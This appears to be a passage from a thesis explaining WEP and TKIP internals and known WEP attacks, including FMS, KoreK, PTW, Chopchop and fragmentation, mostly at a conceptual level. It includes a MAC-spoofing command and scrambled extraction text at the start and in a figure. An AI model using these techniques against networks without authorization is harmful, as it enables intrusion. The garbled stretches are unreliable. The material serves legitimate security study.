The ICV and ICV’ is then compared to check if there has been some form of integrity loss or message tampering. which means that any STA can .Wired Equivalent Privacy (WEP) WEP Key || IV 21 Seed  RC4 PRNG Key  Stream  Plaintext ICV' ICV' = ICV? Integrity algorithm Cipher text ICV  Message  Figure 2. The procedure starts with the concatenation of the WEP key with the IV.5: WEP decapsulation block diagram [5] The WEP decapsulation can be seen in Figure 2. with only minor differences as will be explained. Next. WEP supports two types of authentication: Open System authentication and Shared Key authentication [16]. the packet is passed on in the system. ICV’. the station needs to authenticate to become associated with the network. otherwise it is discarded. The Open System authentication is actually a null authentication algorithm [5]. Keystream IV + key RC4 1 1 0 1 0 0 1 0 Plaintext 1 0 1 1 0 1 1 0 = 0 1 1 0 0 1 0 0 Ciphertext Figure 2. This value is then used as input to the RC4 PRNG to produce the keystream.4. the ciphertext is XORed with the keystream to produce the decrypted message and ICV.3 Authentication Before any communication can take place between a station and the network. It is similar to a reverse WEP encapsulation.6: WEP encryption using the keystream generated by RC4 XORed with the plaintext 2.5. If the ICVs match. The message is then put through the CRC-32 algorithm to produce another value.

which contains a 128-octet message generated by the WEP PRNG.4 Pseudorandom Number Generator . the 128-octet is encrypted using WEP with the secret shared key and sends this back to the AP.4.7. Only STAs that know the secret key are able to successfully authenticate with the AP.RC4 WEP makes use of the RC4 pseudorandom number generator for encryption. and is initiated by the STA sending an Authentication request. 2.4. the AP knows that the STA knows the shared key and sends an authentication success message. because the owner of the algorithm. This protocol simply consists of a Request and a Success message. The algorithm is actually referred to as ARC4 (Alleged RC4) in the IEEE 802. If this check is successful. STA (Requestor) #1: Authentication Request #2: Authentication Challenge #3: Authentication Response #4: Authentication Result AP (Responder) Figure 2. but the AP never authenticates with the STA. If these match. as opposed to mutual authentication.22 Background authenticate if the AP is set to Open System Authentication. RSA Secu- .7. The Shared Key authentication is deprecated and if WEP (which is also deprecated) is used. the decrypted contents are compared with the challenge previously sent. only Open System authentication should be enabled. This protocol consists of a four-way handshake. When the AP receives this message it is decapsulated and the ICV is checked. it has some severe weaknesses which are described in Section 2. The AP will then respond with a challenge.11 standard [5]. The STA authenticates with the AP. When the STA receives this challenge. A sequence diagram of the authentication can be seen in Figure 2. and there is no actual authentication taking place. The Shared Key authentication offers a one-way authentication.7: Sequence diagram of Shared Key Authentication Even though this method of authentication may seem to be more secure than the Open System Authentication.

This initialization is described in Algorithm 1. RC4 operates on a 256-byte state vector S. S. T [i] = K[i mod keylen]. Algorithm 2 RC4 state vector initial permutation [28] j = 0. and can be easily explained. In WEP this key is 64 or 128 bits. for i = 0 to 255 do j = (j + S[i] + T [i]) mod 256. Various encryption techniques were discussed in more detail in Section 2. to produce an initial permutation of the state vector. which means it operates on the byte level. Swap (S[i]. Algorithm 1 RC4 state vector initialization [28] for i = 0 to 255 do S[i] = i. this because XOR is a symmetric operation. . end for When the initial permutation is complete. the key and the temporary vector are never used again. as opposed to a block cipher. the generated stream of pseudorandom bytes is XORed with the plaintext to construct the ciphertext. as input and produces a pseudorandom stream of bytes. T . end for The next step is to use the temporary vector. Next. Decryption works the same way. The ciphertext is XORed with the stream of pseudorandom bytes to produce the plaintext. or seed. The RC4 algorithm is surprisingly simple.Wired Equivalent Privacy (WEP) 23 rity. This procedure is given in Algorithm 3. S[j]). which contains all 256 permutations of 8 bits. The source code of RC4 was anonymously posted on an Internet mailing list in 1994 [9]. To encrypt data. This is done by swapping two bytes in S according to a procedure given by T . The algorithm for the initial permutation of S is given in Algorithm 2. A 256-byte temporary vector is also created which contain the key K. has never actually published the details of it. S will still contain all permutations of eight bits. the 24-bit IV concatenated with the 40 or 104-bit shared key. based on its own state. which operates on blocks of several bytes. Since the only operation done on S is swapping of bytes. RC4 is a stream cipher.2. a byte k is selected for the keystream. This state vector is first initialized to contain all the values in ascending order. The keystream is generated one byte at a time by swapping every byte of S. RC4 takes a variable size (1 to 256 bytes) key.1. If the key is smaller than 256 bytes the key is simply repeated until the vector is filled.

IEEE 802.CRC-32 The ICV field of the WEP MPDU consists of a 32-bit Cyclic Redundancy Check (CRC-32) value. followed by a one bit right shift of the polynomial. to confirm that no intentional or unintentional modification of the data has taken place. where n is the total number of bits.4. a resulting W bit reminder 4 The polynomial width is n − 1.5 Integrity Check Value . no XOR operation is performed. Swap (S[i]. j = 0. If the input bit above the leftmost polynomial bit is 1. This process repeated until the polynomial is shifted all the way to the rightmost bit of the input.11 [5] defines this polynomial as: G(x) = x32 +x26 +x23 +x22 +x16 +x12 +x11 +x10 +x8 +x7 +x5 +x4 +x2 +x+1. But as shall be described in Section 2. only the one bit right shift of the polynomial.4.e. the polynomial is placed under the leftmost side of the input. It starts by appending W zeroes to the input. j = (j + S[i]) mod 256. In the case of WEP. A CRC value is computed on the message to verify the integrity of the received data. i. end while Background RC4. we feel it appropriate to explain the CRC-32 function in some greater detail. Then. If this value was to be sent unencrypted an attacker could simply modify the message and re-compute the CRC. and especially the way WEP uses it. t = (S[i] + S[j]) mod 256. The calculation of the CRC checksum works by performing several divisions of the input over the polynomial. the polynomial is a fixed 33-bit binary number. If the input bit above the leftmost polynomial bit is 0. This vulnerability resulted in the Chopchop attack (Section 2.5). S[j]).5.24 Algorithm 3 RC4 S-Box stream generation [28] i. The number 32 in the name CRC-32 indicates the width4 (W ) of the polynomial. Hence. which is an essential part of the attack on TKIP. an XOR operation between the input and the polynomial is performed. k = S[t]. has some weaknesses. Next. These weaknesses will be discussed in Section 2. . but WEP encrypts both the message and the ICV to avoid this.7. 2. while true do i = (i + 1) mod 256. the input and the polynomial (a fixed divisor) [35].7 CRC has some properties that make it vulnerable to attacks.4. The CRC algorithm consists of two elements.

Wired Equivalent Privacy (WEP) called the CRC checksum will remain. As a simple example we’ll use a polynomial of W 4 [35]. Original message: 1101011011 Polynomial: 10011 After the first iteration: 11010110110000 10011 -------------01001000000000 After the last iteration: 00000000001110 10011 -------------00000000001110 <--- Result after previous operation <--- Polynomial (5 Bits) <--- Remainder (4 bits) <--- Original message + W appended 0s <--- Polynomial (5 Bits) <--- First round result

25

The CRC function is very well suited to detect errors. As the message is treated as a huge binary number when calculating the CRC value, one is always sure to detect errors of 1 bit. However, when multiple bit errors occur, there is always a risk that the original message has been altered in such a way that the checksum is still valid. Fortunately, CRC-32 is designed to work very well with burst error detection [35]. Burst errors are errors that arrive in groups, i.e. a continuous series of bit errors. Burst errors are also the most common type of error in a wireless environment.

2.4.6

Initialization Vector - IV

WEP uses one static pre-shared key for encryption. This key is used for encryption in both directions. An important rule in cryptography is to never use the same key more than once [16]. If the same key were used more than once in a stream cipher, the keystream would be identical for these messages. Now, if an attacker figured out the plaintext for one single message, he would be able to decrypt all messages encrypted with this key. This is because the keystream can be obtained by XORing the plaintext with the ciphertext. WEP tries to avoid key reuse by concatenating the key with a 24-bit IV and feeding this to the RC4 PRNG. This results in 224 = 16, 777, 216 different seeds possible per key. To avoid IV reuse, and thus using the same keystream twice, the IV should ideally be incremented by one for each packet transmitted. As an alternative, IVs could be selected by random. However, due to the birthday paradox [16], selecting IVs by random would produce a

26

Background

duplicate IV sooner than the incremental approach. Using the incremental approach would cause the IV to wrap around after about 17 million packets. This might seem like a very large amount of packets, but in a busy network the IV would be reused in a matter of hours [16]. The issue of IV reuse and some other security issues with the WEP IV are discussed further in the next section.

2.4.7

Weaknesses of WEP

As mentioned earlier, WEP was originally created to provide security equivalent to the one we could expect of wired networks. Even though the name of the protocol does not imply the highest level of security, it implies to be reasonably secure. This section will explain the several weaknesses that have been discovered and later resulted in serious attacks, which will be discussed in Section 2.5. Authentication Section 2.4.3 explained two modes of authentication that was part of the original WEP protocol, namely Open System and Shared Key Authentication. As the open system authentication obviously does not authenticate at all, we will rather focus on the lack of security in the shared key authentication mechanism, and thus explain why it eventually was deprecated from the WEP protocol. Recalling from Section 2.4.3, we learned that in the shared key authentication mechanism, an AP sends a challenge to the STA, which in turn will use the WEP protocol to encrypt the challenge and send it back to the AP. By using WEP to encrypt the challenge, an eavesdropper will be given two elements of the WEP protocol; the challenge text (the plaintext) and the ciphertext. For the following example, consider the challenge text as P , the keystream as K and the ciphertext as C. WEP encryption work by XORing P and K: P ⊕K =C As the eavesdropper now possess the challenge (P ) and the ciphertext (C), the keystream can easily be obtained by: C ⊕ P = (P ⊕ K) ⊕ P = (P ⊕ P ) ⊕ K = K

Wired Equivalent Privacy (WEP)

27

At this point, when an attacker knows the keystream, he would be able to inject arbitrary encrypted packets into the network without even knowing the key. Access Control Access control has never been defined as a part of the WEP standard [16], except for the limited access control provided by the shared key authentication scheme. However, several manufactures have implemented ways of controlling access to the network by allowing the administrator to define a list of authorized MAC addresses. This, however, cannot be considered to be a secure solution, as MAC addresses easily can be forged using simple Unix commands like e.g.: ifconfig <interface> hw ether <fake-mac> This is especially simple as the MAC addresses are sent in the clear outside the WEP protocol as a part of the 802.11 headers. Replay Protection As with access control, replay protection was neither considered in the IEEE 802.11 standard [16]. This means that any encrypted packet will be valid for an infinite amount of time for a specific WEP key. In a secure system one would make use of a sequence counter in order to counteract replay attacks. In this way the AP would reject old packets, i.e. packets with lower sequence numbers. This is, however, not a part of WEP. Although replay protection is not a part of the WEP protocol, replay protection may be implemented at higher layers. TCP, for instance, use a sequence number. This means that if a TCP packet containing critical information is replayed into the network, the TCP layer will discard it, because the sequence number is out of date. However, there is still no excuse to drop replay protection at lower levels. This is why TKIP (Section 2.6) introduced replay protection by using a sequence counter. CRC-32 The CRC-32 function itself is a great function when used in the context of error detection. In WEP, the CRC-32 function is used to determine if the message have been modified. The reasons why this fails are partly due to CRC and partly due to the nature of WEP. WEP uses the XOR operation to encrypt the plaintext by XORing it with the keystream generated by RC4. By doing this, the bits will be flipped in place, not changing their position

28 in the ciphertext.

Background

The next problem lies within the CRC-32 function (explained in Section 2.4.5). CRC is linear function. What this means, is that, as opposed to a hash function, in CRC one can predict which bit in the checksum that will change if a chosen bit in the input is changed. This means that without knowing what the plaintext nor the checksum is, one can choose a bit in the plaintext, and by knowing its index, one can calculate which bit in the checksum that will change. Now, considering the fact that bits do not change place after encryption, we see that this also is possible on an encrypted packet.

Key Size The IEEE 802.11 [5] defines two key sizes for WEP: 40 bits and 104 bits. By using keys of 40 bits one is directly vulnerable to brute force attacks, which with dedicated hardware can be broken in a matter of seconds. By extending the key size to 104 bits, brute force attacks become infeasible. In Section 2.5, we will cover some different attacks on WEP, which operates in a more sophisticated manner than brute force. With these techniques, the 104-bit key size only enhances the security linearly [16], i.e. it does only take 104 = 2.6 times longer to break it. 40 RC4 The strength of the encryption used in WEP relies entirely on the randomness of RC4. If the pseudorandom keystream generated by RC4 could easily be predicted, the encryption would automatically fail. In 2001, Fluhrer et al.[17] presented a weakness in the key-scheduling algorithm of RC4. Their paper introduces the concept of weak keys, which are keys of certain values that will produce a less random keystream for the first bytes. Their study shows that, in the case of weak keys, an undesirable high number of bytes in the keystream would be produced directly from the key. Later that year, Fluhrer et al. released a practical attack called the FMS attack (described in Section 2.5.1). The RC4 algorithm is, however, considered to be near to indistinguishable from random noise once it gets going. Thus, a suggested solution to the problem would be to drop the first bytes of the keystream. Exactly how many bytes that should be dropped have been a matter of discussion. Mironov recommends, based on his analysis [23], to drop at least the 512 first pseudorandom bytes.

the key that is fed into RC4 will differ from the one used in the previous packet. Most of these attacks are attacks directed against the RC4 algorithm and the way it is used in WEP. Aircrack-ng will be further explained in Section 5. These non-cryptographic attacks exploits weaknesses in the WEP protocol itself rather than a statistical attack against RC4.2. Additionally. the initialization vector (IV) of WEP is used to prevent key reuse. This section will explain the history and detail of the most serious and well-known attacks on the WEP protocol. All these attacks are available through tools such as the aircrack-ng suite [7]. It may also be possible to reset the IV by de-authenticate a STA. a busy access point will suffer from IV reuse in about 7 hours. the time between IV reuse will further decrease with a multiple of connected STAs.1. it will affect the part of the WEP key that is vulnerable to weak keys. First.11n protocols. As the IV is changing with every packet. or in an even shorter amount of time with the faster 802. an attacker will be notified of it. . 777. By doing this.5 Attacks on WEP WEP was created with the aim to provide equivalent security of wired networks. 216 packets have been sent. WEP contained so many obvious weaknesses that a complete key recovery attack almost was inevitable. Although almost 17 million may seem like a huge number. By reusing the IVs a key will be used twice.11g and 802. the IV will wrap around and will be reused. it is considered bad practice to use the same key for encryption twice. as explained in Section 2. sooner or later a weak key will be used. The most obvious weakness of the IV is its short length. Next. The IV is 24-bit long. As the IV is prepended to the WEP key. from which the attacker obtains the master key that can be used to gain full access to the network. But.4. there is the problem with RC4 weak keys.Attacks on WEP IV 29 As previously explained. 2. there also exist novel methods such as the Chopchop attack and the Fragmentation attack that enables an attacker to decrypt single packets without ever knowing the encryption key. Thus. since the IV is sent in the clear outside the encrypted part of the packet. This means that when 224 = 16. which is a compilation of several tools and algorithms attacking wireless security.7. However. A key recovery attack is the ultimate attack. the 24-bit IV is prepended to the key before RC4 is initialized. IV reuse is a problem due to two things. as most AP will reset the IV after each authentication. With more than one STA.

as resolved. When in a resolved state. where S[i] represents a byte in the RC4 state vector. 2. a person under the pseudonym KoreK released two attacks [22.. Fluhrer et al. which can be categorized as follows [12]: . 21] on an Internet forum. Stubblefield et al. guessing the next byte of the key correctly has a probability of 5% and thus 95% chance of guessing wrong. These were later referred to as the KoreK attack and the Chopchop attack (Section 2. The FMS attack works by looking only at the first byte of the RC4 keystream. Out is the first output from the PRNG and S −1 is the position in S where its argument occur.5). Here.5. [17] presented the first practical attack on the RC4 algorithm of WEP.30 Background 2. The KoreK attack describes seventeen different attacks on WEP. they identified a large number of weak keys. which can be used to determine many state and output bits with a non-negligible probability. [29] created the first practical key recovery attack on WEP that would succeed within few hours. S and S −1 can be obtained by simulating the RC4 Key Scheduling Algorithm (KSA) (Algorithm 1 and 2 in Section 2. Fluhrer et al. one can come up with possible candidates for the entire key.. The equation for this byte can be written as S[S[1] + S[S[1]]].1) where K is the key. B is the byte currently begin guessed. information about the key can be derived. shows that the value of the next key byte with a non-negligible probability is given by the equation: −1 K[B] = SB+2 [Out] − jB+2 − SB+2 [B + 3] (2. Stubblefield et al. [17] list some conditions from which IVs will result in weak keys. This attacks is now known as the FMS attack. By observing these values at the time when a weak key is used.5.2 The KoreK Attack In 2004.4. Inspired by the weaknesses presented by Fluhrer et al. This voting tactic is actively used in the implementation of the FMS attack to determine the most probable candidate for the next key byte. At this point.5. refers to packets that use weak keys.4) for the first B iterations.1 The FMS Attack In their paper from 2001. Using voting. This is possible as the key bytes up to this point are already known. it is possible to vote for the most probable next byte for the key given a large number of packets. Fluhrer et al. Even though this may seem like a low probability. which in turn can be accepted or rejected through testing.

The third group consists of one specific attack known as the A neg attack. Being able to reject certain values for the key clearly also enhances the voting process and thus making the key easier to determine. the first category is similar to the approach of the FMS attack. the number of required packets can be obtained on a high performance AP in under a minute. With 85. this packet can be modified and re-injected into the network to generate traffic.Attacks on WEP 31 • Key recovery based on the first byte of the keystream of the PRNG (similar to the FMS attack).5. KoreK found several other correlations that had around 14% probability of guessing the right next byte of the key. The FMS attack was actually a part of the KoreK attack. he describes how this attack aims to improve upon the FMS attack in such a way that it will work even if the network avoids weak keys.reverse methods to reduce the search space. they present a key recovery attack that will successfully recover the key with a 50% probability with less than 40. [33] presented a full key recovery attack based on the analysis of Klein. • Inverted attacks . • Key recovery based on the first and second bytes of the keystream of the PRNG. As the PTW attack is less dependent on the presence of weak keys. As we can see. the difference being that the attack bases the calculation on the two first bytes of the keystream rather than just the first. This was a novel approach that aims to reduce the size of the key search space by identifying certain values of the key that can be rejected. 000 frames the success rate is 95%. Andreas Klein presented several new correlations between the RC4 keystream and the key in addition to the ones previously discovered by KoreK. In 2007. Figure 2. In his paper from 2006 [20]. 000 frames. displaying a successful key recovery by the PTW attack. .8 shows a screenshot from the aircrack-ng suite [7].3 The PTW Attack In 2005. A further detailed explanation of the different KoreK attacks are out of the scope nor relevant for this thesis and is thoroughly covered by Chaabonui [12]. In addition to the correlation found in the FMS attack. The second group of attacks found by KoreK is also very similar to the FMS attack. By using tools such as the Chopchop attack or the fragmentation attack to decrypt a single packet. Tews et al. and was given the name A s5 1. 2. In their paper with the catchy title Breaking 104-bit WEP in less than 60 seconds.

8: The aircrack-ng tool successfully recovers the WEP key by using the PTW attack 2. In addition to the improvements of the KoreK attack they also implemented a way of enhancing the voting of σi by making use of the fact that one can make some values of σi get more votes than others.200 packets.aircrack-ng.org/browser/branch/ptw2/src/aircrack-ptw2-lib.5. although an implementation exists in the aircrack-ng repository5 . there exists very little information about this attack.4 Beck and Tews’ Improved Attack on RC4 In 2008. In addition to the breakthrough with the attack on WPA. where a 50% success rate is achieved after only 24. of which the latter is detailed in Chapter 3. The correlation A neg that KoreK used to reduce the key search space was now rewritten to exclude values from being σi and thus improving the probability of other values being σi . 5 http://trac. At this moment. they managed to rewrite all but four of KoreK’s correlation to vote for the correlation σi . In their implementation. an improved attack on RC4 was presented in the same paper.c . instead of the root key Rk[i]. Beck and Tews presented a draft paper on attacks related both to WEP and WPA/TKIP.9. The improved PTW attack is based on the correlations found by KoreK [22]. The effect of this new attack is illustrated in Figure 2.32 Background Figure 2.

We explained that due to the linearity of CRC-32 and the XOR operation used for WEP encryption. D/8.5.g. The Chopchop attack belongs to a new group of attacks. are the most important components of the Chopchop attack.=/<!AB!C:. an ARP packet. This traffic could further be captured and used with e. Rather than exploiting vulnerabilities in the RC4 algorithm.8<0:. the same anonymous hacker published a new attack called the Chopchop attack [21].:./01023245!/6!7899:77 !"#* !"#) !"#( !"#' !"#& !"#% !"#$ !" !" !"#( !$ !$#( !% !%#( !& !&#( !' .4:. Even though it is not very efficient. This fact combined with WEP’s lack of replay protection. modify it and inject it back into the network to generate traffic. The CRC-32 function was designed to detect errors and not to function as a cryptographically strong one-way function. which compared to all previously attacks may be considered a non-cryptographic attack. Chopchop attacks the WEP protocol itself and two of its design flaws.:.142/.9: Success rate of Beck and Tews’ new attack on WEP [10] 2. e. the Chopchop attack can be used to decrypt a packet. it is possible to flip a bit in the ciphertext and then calculate which bit in the encrypted CRC-32 value that in turn must be flipped in order for the checksum to validate. it is of practical interest with packets that have a large amount of known data.5 Chopchop Attack Around the same time as the KoreK attacks on RC4 were posted on an Internet forum [22]. !"#+ -. . the PTW attack to make a full key recovery attack. The Chopchop attack enables an attacker to decrypt a packet without ever knowing the key.Attacks on WEP 33 !$ !"#. namely the lack of replay protection and the weakness of the ICV.!/6!7:772/. In a real setting. Figure 2.7!9/33:94:=!>!$"?""" !'#( !( !(#( !) @1.142/. The Chopchop attack is a remarkable and different attack on WEP than the previously explained.!</=:!AB!C:.g.

At this point.. the attacker will know the plaintext of the truncated byte.. the packet becomes valid again. and thus the keystream as well. for this byte. Nevertheless. trying all permutations. it is possible to decrypt the entire packet and revealing the plaintext as well as the keystream without ever knowing the master key. 0 through 255 (128 on average). P can be re-written as: P = Q × X 8 + P7 (2. Now. it can be shown that in order to get a correct checksum for . the goal is to figure out the value of this byte. So.3) where P7 is all elements of P with exponents smaller than 8 (i.1.4. the AP will respond by sending the packet back out on the network.. The packet would now be invalid due to the ICV not matching the rest of the packet.e. the attack works by truncating (hence the name Chopchop) an encrypted packet at the end by one byte.34 Background As illustrated in Figure 2. Now.2) where RCRC is the CRC-32 polynomial (recall Section 2.5) and PON E is the polynomial where all coefficients from X 0 to X 31 being 1. By repeating this. we will eventually hit that correct value.10. If the truncated message is valid.10: The attacker modifies a packet by truncating the last byte and injecting it into the network using the Chopchop attack The math behind the Chopchop attack is thoroughly described by Tews [31] as follows: Assume a truncated plaintext P . In order for the checksum to be correct the following equation must be valid: P mod RCRC = PON E (2. KoreK shows that this value does only depend on the truncated byte. he figured that by XORing this packet with a certain value Mod.. X 0 to X 7 ). M bytes ICV M-1 bytes ICV Chop Guess Value (0. KoreK discovered a way of accomplishing this by injecting the truncated (encrypted) packet back into the network.255) M-1 bytes Attacker ICV Mod Inject modified packet Valid packet AP Figure 2.

followed by a Subnetwork Access Protocol (SNAP) header. Q must have the value: Q = PON E mod RCRC 35 (2.11 network have similar headers. This field is almost exclusively set to either ARP or IP on most networks..5. The only field that varies is the last byte of the SNAP header. i.6) (2. The obtained keystream can then be used to inject arbitrary traffic into the network.7) Now. the fragmentation attack assumes that the first eight bytes of plaintext are known. This is where the fragmentation attack comes into play. This attack makes it possible to obtain a large amount of keystream in a very short time by only eavesdropping a single packet. Bittau et al. all other packets can be assumed to contain IP data. Because of this.Attacks on WEP P = Q × X 8 + P7 the following must be valid: Q × X 8 = PON E + P7 mod RCRC X 8 inverse becomes: (X 8 )−1 = RIN V Now. but such a small packet is not useable for anything. A packet starts with a Logical Link Control (LLC) header. we would get a new message for P which will have a correct checksum.6 Fragmentation Attack In 2005. a total of eight bytes. By simply XORing the deducted 8 bytes of plaintext with the first bytes of ciphertext. released a paper called The Final Nail in WEP’s Coffin [11]. eight bytes of keystream are obtained. Their paper describes a novel attack known as the fragmentation attack.11 supports fragmentation. ARP packets are easily detected due to their recognizable size. These headers are almost always identical for every packet. This packet would decrypt correctly. EtherType. PCOR depends only on P7 and hence only 8 bits is unknown. All packets sent in an 802. by adding a value PCOR = PON E + PIN V (PON E + P7 ) to Q.4) (2.5) (2. which indicates the protocol of the encapsulated packet. 2. The attack works by first eavesdropping on a single packet. 802.e. With eight bytes of keystream. This yields 256 permutations that can be guessed in a relatively short time and requires on average 128 guesses. we know that Q = RIN V (PON E + P7 ) mod RCRC For the checksum to become valid. it is possible to send a four-byte packet to the network (Remember that the four byte ICV must also be added). and it would simply be discarded at the next layer. packets can be .

This part of the fragmentation attack is illustrated in Figure 2.11. this is possible in a very short amount of time. The attacker can capture this packet. The AP will then relay this. The AP will wait until all fragments are received before reassembling the packet. maximum 16. which recovers one byte per 128 sent packet on average.11: Illustration of the fragmentation attack wants 1500 bytes of keystream. To execute the attack. but encrypted with a new IV. it is possible to inject a 64-byte packet. an attacker only needs to send 34 packets and receive 4 to obtain 1500 bytes of keystream. which is the Maximum Transmission Unit (MTU) of ethernet. it is possible to obtain it for other IVs as well. When knowing 1500 bytes of keystream for a given IV. and send the packet as one fragment back to the network. Since this is a broadcast packet the AP will re-encrypt the packet with a new IV. By using this method. By further exploiting the fragmentation in 802. the attacker generates a 64-byte broadcast packet and sends it to the AP in 16 fragments. this means that by sending 16 eight byte fragments (four byte data + ICV). This method is much faster than the chopchop method. and knowing the plaintext. by sending an unfragmented 1500-byte broadcast packet to the AP. This way an attacker can build a dictionary of all IV keystream pairs. This packet will be 68 bytes in size (64 bits from the fragments + 4-byte ICV). . obtain 68 bytes of keystream for the new IV.11. .36 Background broken down into smaller fragments. Ideally an attacker Fragment 1/16 Fragment 2/16 Fragment 3/16 . . These fragments are encrypted individually. This attack can then simply be repeated until 1500 bytes of keystream are obtained. Reassembled packet Fragment 16/16 AP Attacker Figure 2.

11i task group was established to design the new security protocols for the 802.7). And as shall be explained in Chapter 3. These and other attacks were discussed in Section 2. and the WiFi Alliance wanted to be able to provide secure equipment to their customers. and the fact that all new hardware supports the new and improved CCMP security standard (see Section 2. which they named WPA (WiFi Protected Access). 2.4. followed by a thorough technical walkthrough of the protocol.7. most significantly the Message Integrity Code (MIC). it is still built using some of the same building blocks as WEP. one that would allow old WEP hardware to be upgraded. For that reason.1. In 2001.Temporal Key Integrity Protocol (TKIP) 37 2.11 family of WLANs. but was designed to provide additional protection against all known attacks on WEP.11 standard [19]. there were some serious limitations on how TKIP could be designed. TKIP’s predecessor. An attacker can obtain the secret key used in WEP within a minute. and another one that was made from scratch using the modern AES block cipher. it should be implementable on old WEP hardware [16].6 Temporal Key Integrity Protocol (TKIP) When WEP was proved completely broken [17]. . has several severe weaknesses and is considered completely broken. a new security scheme for wireless networks was desperately needed. The standardization process took quite some time.11i. Because of this limitation the protocol still uses WEP encapsulation.5.6. this is used in the new attack on TKIP. 2. or even decrypt packets without the knowledge of the key. WEP.3.6. TKIP has some weaknesses. the WiFi Alliance made their own security standard based on a draft version of 802. Consequently. The difference and timeline of the various standards were described in Section 2. TKIP will be deprecated in the next version of the 802. These protocols were named TKIP and CCMP respectively.1 History As described in Section 2. the IEEE 802. Even though TKIP provides vastly improved security over the old WEP standard. The task group actually designed two protocols. The Temporal Key Integrity Protocol (TKIP) was designed on top of WEP to fix all its known weaknesses. In this section a brief historical overview of TKIP will be given.7. CCMP is described in Section 2.2 Protocol overview TKIP had one important design goal. Because of this.

is obtained through an EAPOL handshake and is explained later in this section. which is generated by the keyed cryptographic algorithm Michael. the second key mixing function uses the TTAK together with the TK and the 16 Least Significant Bits (LSBs) of the TSC.12.4. But as shall be explained in Section 3. The TKIP encapsulation is shown in Figure 2. As can be seen from the figure. • The use of a new Message Integrity Check (MIC). The details of these four items are discussed in the next sections. labeled Phase 1.11 2007 standard [5] defines four modifications of WEP that is made by TKIP. because of the design constraints. which is represented as the 24-bit WEP IV and a 104-bit RC4 key.3 TKIP Encapsulation TKIP is built around WEP. with the use of a per-MPDU TKIP sequence counter (TSC).and Phase 2 key mixing in the figure. TK and the 32 Most Significant Bits (MSBs) of the TSC. the first step of TKIP is to generate the per-packet key. Next. not very secure. TK. The output of this function is the 80-bit TTAK. It is clear that TKIP addresses all the known issues of WEP. TKIP still has some weaknesses that can be exploited.2. This is done in two phases. This results in the WEP seed. • The MIC is. Therefore TKIP implements countermeasures to handle this. This figure consists of a few new abbreviations that should be explained: DA Destination Address (MAC) SA Source Address (MAC) TA Transmitter Address or Transmitting Station Address (MAC) TK Temporal Key (128-bit Session Key) TSC TKIP Sequence Counter TTAK TKIP-mixed Transmit Address and Key (80 bits) The 128-bit session key.6. • TKIP uses a cryptographic per-packet key mixing function to defeat weak-key attacks against the WEP key. 2. and uses the WEP encapsulation described in Section 2. The reason .38 Background The 802.2. as a Black box. • Replay protection. The Phase 1 key mixing takes three inputs: TA.

6. Packets that violate the sequencing will be discarded.12. SA and a one-byte Priority field.4 TKIP Decapsulation When receiving a TKIP encapsulated packet. the Michael algorithm takes three inputs: DA. 2. First. The MIC is generated by the Michael algorithm. The MPDU is then inputted to the WEP encapsulation as the WEP Plaintext. the MSDU. TKIP introduced a new integrity check called a MIC. a decapsulation process is performed as depicted in Figure 2.12: TKIP encapsulation block diagram [5] In addition to the ICV. The second phase calculation changes for every packet. packets that do not have a higher TSC than the previous packet are dropped. In addition to the MSDU. and thus ease the burden for older WEP hardware. The first phase only has to be computed for every 216 = 65536 packet.e.. the TSC and the computed MIC is fragmented to two or more MPDUs if needed. The TSC increases monotonically.13. which computes an 8-byte message integrity code (MIC) on the Plaintext MSDU.Temporal Key Integrity Protocol (TKIP) 39 for mixing the key in two phases is to make the computation of the key less intensive. . TA TK TSC  Phas e  1  k ey   m ix ing  TTAK  W E P s eed ﴾s﴿  ﴾repres ented as  W EP   IV   + R C 4 k ey ﴿  Phas e  2  k ey  m ix ing  IV RC 4 key DA  + SA  +  Priority  +   Plaintext M SDU  Data M IC Key W EP   E nc aps ulation  Fragm ent ﴾s﴿  M ic hael C iphertex t  M P D U ﴾s﴿  Plaintext M SDU  +   M IC Figure 2. and therefore the calculation could be performed in advance. Both the key mixing and the MIC generation are discussed in more detail later in this section. the extraction of the TSC sequence number and key identifier from the WEP IV and TKIP Extended IV is performed. since it uses the 32 MSBs of the TSC. i. As can be seen from Figure 2.

These three bytes serve as the 24-bit WEP IV. This decapsulation was detailed in Section 2. The next 5 bits are reserved for future use. we have the 4-byte IV / KeyID field. the reassembled Plaintext MSDU. .4. is then reassembled if it was a part of a fragmented MSDU. as these are a vital part of the attack on TKIP.40 MIC Key TA  TK Phase 1 key mixing Background TTAK Phase 2 key mixing WEP Seed  TKIP TSC  Unmix TSC  TSC WEP Decapsulation DA + SA + Priority  Michael + Plaintext MSDU  In­sequence MPDU Reassemble MIC' MIC MSDU with failed  TKIP MIC  Countermeasures Ciphertext MPDU Plaintext  MPDU  MIC =  MIC'?  Out­of­sequence MPDU Figure 2. SA and Priority field is sent to the Michael algorithm to produce MIC’. This bit is always set to 1 when TKIP is used. Next. which contains the sender and receiver MAC address among other fields.5 TKIP Packet Structure TKIP makes some modifications to the WEP packet structure.13: TKIP decapsulation block diagram [5] The construction of the WEP Seed is performed with the same two-phase key-mixing as in the encapsulation. outputted from the WEP decapsulation. The padding is followed by the first byte of the TSC. The In-Sequence MPDU and the WEP Seed are then fed into the WEP Decapsulation. The Extended IV bit is new in TKIP. These countermeasures will be explained in detail later. DA. The next four bits are set to the key index of the key used for cryptographic encapsulation of the frame [5].14. the second is a padding byte. If not. the packet is accepted. and indicates if an extended IV (TSC) is used. If MIC’ matches the decrypted MIC.2. which differs slightly from WEP. The first byte of this field is the second byte of the TSC. 2. The MPDU. The first part is the MAC header. TKIP Countermeasures will be activated.6. The construction of this expanded TKIP MPDU can be seen in Figure 2. which is inserted to avoid RC4 weak keys. WEPSeed[1]. Next.

increased by 1 for each packet. which are the remaining four bytes of the TSC. which can be summarized as: • The IV was too short (24 Bits). Additionally the TSC is always initialized to 1 when the TKIP temporal key is initialized or refreshed. this caused IV reuse.e. The TSC also functions as a sequence counter. These three fields are sent encrypted. There were three main weaknesses in the WEP IV. • The IV was not used as a sequence counter to prevent message replay.6 TKIP Sequence counter (TSC) TKIP introduces a new sequence counter.7. TSC. the IEEE 802 Frame Check Sequence (FCS) is appended to the end of the frame. Finally. all other fields are sent as plaintext.. The FCS is a CRC-32 calculated over the entire frame. and messages that have equal or lower TSC value than the previous packet is dropped. • Prepending the IV to the secret key revealed when weak keys were used. i. The TSC was designed to fix the weaknesses of the WEP IV. Next follows the Data.6. One important requirement for the TSC is that it is increased monotonically.4. MIC and WEP ICV. 2. The larger TSC makes IV reuse infeasible.14: Construction of expanded TKIP MPDU [5] The Extended IV field consists of 4 bytes. described in Section 2. The 48-bit TSC addresses all these problems. thus preventing message replay attacks. including the MAC header.Temporal Key Integrity 